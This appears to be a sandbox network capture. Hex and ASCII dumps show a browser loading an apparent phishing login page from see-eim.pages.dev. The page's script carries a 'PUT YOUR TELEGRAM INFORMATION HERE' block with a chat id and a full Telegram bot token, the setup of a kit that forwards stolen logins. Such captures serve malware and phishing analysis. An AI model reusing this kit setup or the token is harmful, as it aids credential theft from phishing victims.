2024-01-10 23:26:12 UTC	791	IN	HTTP/1.1 200 OK x-amz-id-2: 9n60LleaxffGX5BBlbpavDYB/JC2/Bj2th2w2cIBbNZ6wKbqRhNuHPW17GQSuBtIkVY8qBF/lys/tYjuYn4mJw== x-amz-request-id: CYZNJC6V95G6TT15 Date: Wed, 10 Jan 2024 23:05:30 GMT Last-Modified: Wed, 11 Sep 2019 18:01:04 GMT ETag: "b6814ae5582d7953821acbd76e977bb4" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=315360000 Accept-Ranges: bytes Content-Type: image/vnd.microsoft.icon Server: ATS Content-Length: 1406 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 1243 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:26:12 UTC	1300	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 08 00 68 05 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d2 01 60 00 d3 08 64 00 d3 0b 66 00 d4 0f 69 00 d5 12 6b 00 d5 16 6d 00 d6 1a 70 00 d6 1c 71 00 d7 1f 73 00 d7 20 73 00 d8 24 76 00 d9 2a 7a 00 dd 3f 87 00 de 44 8a 00 df 4d 90 00 e1 56 95 00 e2 5f 9b 00 e3 62 9d 00 e3 63 9d 00 e5 6c a3 00 e6 76 a9 00 e7 79 ab 00 e7 7c ad 00 eb 92 bb 00 ed 9c c1 00 f0 ac cb 00 f1 b2 ce 00 f1 b4 d0 00 f2 b6 d1 00 f2 b8 d2 00 f3 bf d7 00 f4 c5 da 00 f6 d0 e1 00 f7 d2 e2 00 f7 d3 e3 00 f9 de ea 00 f9 e1 ec 00 fa e8 f0 00 fb ea f1 00 fc ee f4 00 fd f6 f9 00 fd f9 fb 00 fe fa fb 00 fe fb fc 00 fe fc fd 00 fe fd fd 00 fe fe fe 00 ff ff ff 00 00 Data Ascii: h( `dfikmpqs s$v*z?DMV_bclvy\|
2024-01-10 23:26:12 UTC	106	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49748	23.51.58.94	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:12 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-01-10 23:26:12 UTC	495	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/073D) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=150033 Date: Wed, 10 Jan 2024 23:26:12 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49749	23.51.58.94	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:12 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-01-10 23:26:13 UTC	455	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0778) X-CID: 11 Cache-Control: public, max-age=70993 Date: Wed, 10 Jan 2024 23:26:13 GMT Content-Length: 55 Connection: close X-CID: 2
2024-01-10 23:26:13 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49750	172.66.47.129	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:22 UTC	707	OUT	GET /login_files/loga HTTP/1.1 Host: see-eim.pages.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "a8939e5a085463ed0b92e943f45878d6"
2024-01-10 23:26:22 UTC	582	IN	HTTP/1.1 304 Not Modified Date: Wed, 10 Jan 2024 23:26:22 GMT Connection: close Access-Control-Allow-Origin: * referrer-policy: strict-origin-when-cross-origin Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=V0hZXD2X9QD3%2Fsa%2FkbKCalurFLU7pcxh3FTlou7JlE0oLmA57uWqj97QdThKW2xhRtlhdUkuGqQ7dT2D0Fc9b2C87INqwhv2D2L2Em2fO9P42C%2BsqQ%2BlUSJbwS%2BmLrh5vMriDg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8438af3e08a337f3-IAD alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49751	172.66.47.129	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:22 UTC	695	OUT	GET /login_files/login_files/loga HTTP/1.1 Host: see-eim.pages.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://see-eim.pages.dev/login_files/loga Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Range: bytes=52476-52476 If-Range: "a8939e5a085463ed0b92e943f45878d6"
2024-01-10 23:26:22 UTC	714	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:26:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 87601 Connection: close Access-Control-Allow-Origin: * ETag: "a8939e5a085463ed0b92e943f45878d6" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GEJI%2Bxv8%2Be7qW2J5sFPwDGEUuvL%2FeGkz3pztkM0%2FDx7oiEx2UXdA8AqmF%2BBtc56%2FB%2BaPivfL4uzwDNPtAL0qyaOEXB1yBeJKER1ojFustMTHFBfL9REDeSFYJcZGttB5X9u4oA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8438af40398c59cd-IAD alt-svc: h3=":443"; ma=86400
2024-01-10 23:26:22 UTC	1369	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 2f 2f 50 55 54 20 59 4f 55 52 20 54 45 4c 45 47 52 41 4d 20 49 4e 46 4f 52 4d 41 54 49 4f 4e 20 48 45 52 45 0d 0a 20 20 20 20 75 73 65 72 74 65 6c 65 67 72 61 6d 3d 22 35 36 30 37 33 38 35 34 39 36 22 3b 20 2f 2f 59 6f 75 20 43 61 6e 20 47 65 74 20 79 6f 75 72 20 69 64 20 46 52 4f 4d 20 48 45 52 45 20 3a 20 40 63 68 61 74 69 64 5f 65 63 68 6f 5f 62 6f 74 0d 0a 20 20 20 20 74 6f 6b 65 6e 3d 22 36 30 35 35 36 38 39 35 31 35 3a 41 41 48 72 51 66 54 4f 45 6b 37 65 61 43 59 37 31 57 79 72 79 63 31 7a 63 56 68 6f 79 34 39 55 62 57 30 22 3b 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 68 74 6d Data Ascii: <!DOCTYPE html><script type="text/javascript"> //PUT YOUR TELEGRAM INFORMATION HERE usertelegram="5607385496"; //You Can Get your id FROM HERE : @chatid_echo_bot token="6055689515:AAHrQfTOEk7eaCY71Wyryc1zcVhoy49UbW0"; </script><htm
2024-01-10 23:26:22 UTC	1369	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 61 72 74 69 63 6c 65 2c 0d 0a 20 20 20 20 20 20 20 20 61 73 69 64 65 2c 0d 0a 20 20 20 20 20 20 20 20 64 65 74 61 69 6c 73 2c 0d 0a 20 20 20 20 20 20 20 20 66 69 67 63 61 70 74 69 6f 6e 2c 0d 0a 20 20 20 20 20 20 20 20 66 69 67 75 72 65 2c 0d 0a 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 68 65 61 64 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 68 67 72 6f 75 70 2c 0d 0a 20 20 20 20 20 20 20 20 6d 61 69 6e 2c 0d 0a 20 20 20 20 20 20 20 20 6d 65 6e 75 2c 0d 0a 20 20 20 20 20 20 20 20 6e 61 76 2c 0d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 0d 0a 20 Data Ascii: body { margin: 0 } article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section,
2024-01-10 23:26:22 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 73 75 62 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 74 74 6f 6d 3a 20 2d 2e 32 35 65 6d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 73 76 67 3a 6e 6f 74 28 3a 72 6f 6f 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 66 69 67 75 72 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 65 6d 20 34 30 70 78 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 68 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 Data Ascii: } sub { bottom: -.25em } svg:not(:root) { overflow: hidden } figure { margin: 1em 40px } hr { box-sizing: content-box; he
2024-01-10 23:26:22 UTC	1369	IN	Data Raw: 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 6e 65 72 2d 73 70 69 6e 2d 62 75 74 74 6f 6e 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 3a 3a 2d 77 65 62 6b 69 74 2d 6f 75 74 65 72 2d 73 70 69 6e 2d 62 75 74 74 6f 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 61 75 74 6f 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 3a 3a 2d 77 65 62 6b 69 74 2d 73 65 61 72 63 68 2d 63 61 6e 63 65 6c 2d 62 75 Data Ascii: ing: border-box; padding: 0 } input[type=number]::-webkit-inner-spin-button, input[type=number]::-webkit-outer-spin-button { height: auto } input[type=search]::-webkit-search-cancel-bu
2024-01-10 23:26:22 UTC	1369	IN	Data Raw: 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 68 31 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 32 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 2e 31 72 65 6d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 68 32 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 32 35 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 2e 31 72 65 6d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 68 33 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a Data Ascii: font-weight: 300 } h1 { line-height: 1.2; letter-spacing: -.1rem } h2 { line-height: 1.25; letter-spacing: -.1rem } h3 { line-height:
2024-01-10 23:26:22 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 30 2e 36 36 36 36 36 36 36 36 36 37 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 66 69 76 65 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 33 39 2e 33 33 33 33 33 33 33 33 33 33 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 73 69 78 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 34 38 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 73 65 76 65 6e 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a Data Ascii: width: 30.6666666667% } .five.columns { width: 39.3333333333% } .six.columns { width: 48% } .seven.columns { width:
2024-01-10 23:26:22 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 66 6f 75 72 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 66 6f 75 72 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 34 2e 36 36 36 36 36 36 36 36 36 37 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 66 69 76 65 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 66 69 76 65 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 34 33 2e 33 33 33 33 33 33 33 33 33 33 25 0d 0a 20 20 20 20 Data Ascii: .offset-by-four.column, .offset-by-four.columns { margin-left: 34.6666666667% } .offset-by-five.column, .offset-by-five.columns { margin-left: 43.3333333333%
2024-01-10 23:26:22 UTC	1369	IN	Data Raw: 20 2e 6f 66 66 73 65 74 2d 62 79 2d 6f 6e 65 2d 68 61 6c 66 2e 63 6f 6c 75 6d 6e 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 62 79 2d 6f 6e 65 2d 68 61 6c 66 2e 63 6f 6c 75 6d 6e 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 35 32 25 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 72 65 6d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 32 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 32 72 65 6d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d Data Ascii: .offset-by-one-half.column, .offset-by-one-half.columns { margin-left: 52% } h1 { font-size: 5rem } h2 { font-size: 4.2rem }
2024-01-10 23:26:22 UTC	1369	IN	Data Raw: 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 20 20 20 20 2e 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 3a 68 6f 76 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 72 65 73 65 74 5d 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 72 65 73 65 74 5d 3a 68 6f 76 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 Data Ascii: } .button:focus, .button:hover, button:focus, button:hover, input[type=button]:focus, input[type=button]:hover, input[type=reset]:focus, input[type=reset]:hover, input[t
2024-01-10 23:26:22 UTC	1369	IN	Data Raw: 6e 70 75 74 5b 74 79 70 65 3d 75 72 6c 5d 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 0d 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 0d 0a 20 20 20 20 20 20 20 20 73 65 6c 65 63 74 2c 0d 0a 20 20 20 20 20 20 20 20 74 65 78 74 61 72 65 61 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 33 38 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 70 78 20 31 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 Data Ascii: nput[type=url], input[type=password], input[type=number], input[type=search], select, textarea { height: 38px; padding: 6px 10px; background-color: #fff; bord

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49757	172.66.47.129	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:25 UTC	707	OUT	GET /login_files/loga HTTP/1.1 Host: see-eim.pages.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "a8939e5a085463ed0b92e943f45878d6"
2024-01-10 23:26:26 UTC	576	IN	HTTP/1.1 304 Not Modified Date: Wed, 10 Jan 2024 23:26:26 GMT Connection: close Access-Control-Allow-Origin: * referrer-policy: strict-origin-when-cross-origin Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=J73pT0olgt5PBIAfA9e9kuw1jqNseSHkPX2l9DsA%2BKSZLAXMdASlr2Ayz6KLPiqS17Xy9pHesjDoD3gIc3U%2Bj0Dk4Mm3SqPSiKlifaUYr9vdojtN1J4SyfzBrTgUmc5sgAGUyA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8438af54fdaf5824-IAD alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49758	172.66.47.129	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:26 UTC	695	OUT	GET /login_files/login_files/loga HTTP/1.1 Host: see-eim.pages.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://see-eim.pages.dev/login_files/loga Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Range: bytes=58901-58901 If-Range: "a8939e5a085463ed0b92e943f45878d6"
2024-01-10 23:26:26 UTC	704	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:26:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 87601 Connection: close Access-Control-Allow-Origin: * ETag: "a8939e5a085463ed0b92e943f45878d6" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6XdfWTKYTa8i5%2Fxf9DuhBHIC9CQP9ctpMieIoQEFXHdnlHbEAmfBd%2BrESBJwXrJYAj4yMUHDsKaiJgUAPMrUBfLYUArGL4nmyKk73sEkOBKobDuyIXC1kDk5l8nbLaq5bVPTxQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8438af561b5c38a9-IAD alt-svc: h3=":443"; ma=86400
2024-01-10 23:26:26 UTC	665	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 2f 2f 50 55 54 20 59 4f 55 52 20 54 45 4c 45 47 52 41 4d 20 49 4e 46 4f 52 4d 41 54 49 4f 4e 20 48 45 52 45 0d 0a 20 20 20 20 75 73 65 72 74 65 6c 65 67 72 61 6d 3d 22 35 36 30 37 33 38 35 34 39 36 22 3b 20 2f 2f 59 6f 75 20 43 61 6e 20 47 65 74 20 79 6f 75 72 20 69 64 20 46 52 4f 4d 20 48 45 52 45 20 3a 20 40 63 68 61 74 69 64 5f 65 63 68 6f 5f 62 6f 74 0d 0a 20 20 20 20 74 6f 6b 65 6e 3d 22 36 30 35 35 36 38 39 35 31 35 3a 41 41 48 72 51 66 54 4f 45 6b 37 65 61 43 59 37 31 57 79 72 79 63 31 7a 63 56 68 6f 79 34 39 55 62 57 30 22 3b 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 68 74 6d Data Ascii: <!DOCTYPE html><script type="text/javascript"> //PUT YOUR TELEGRAM INFORMATION HERE usertelegram="5607385496"; //You Can Get your id FROM HERE : @chatid_echo_bot token="6055689515:AAHrQfTOEk7eaCY71Wyryc1zcVhoy49UbW0"; </script><htm
2024-01-10 23:26:26 UTC	1369	IN	Data Raw: 3e 0d 0a 20 20 20 20 20 20 20 20 2f 2a 21 20 73 6b 65 6c 65 74 6f 72 2d 69 6f 20 2d 20 76 31 2e 30 2e 33 34 20 2a 2f 0d 0a 20 20 20 20 20 20 20 20 2f 2a 21 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 76 33 2e 30 2e 32 20 7c 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 7c 20 67 69 74 2e 69 6f 2f 6e 6f 72 6d 61 6c 69 7a 65 20 2a 2f 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 69 6d 67 2c 0d 0a 20 20 20 20 20 20 20 20 6c 65 67 65 6e 64 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 68 31 2c 0d 0a 20 20 20 20 20 20 20 20 68 32 2c 0d 0a 20 20 20 20 20 20 20 20 68 33 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 Data Ascii: > /! skeletor-io - v1.0.34 / /! normalize.css v3.0.2 \| MIT License \| git.io/normalize / img, legend { border: 0 } h1, h2, h3 { letter-spacing:
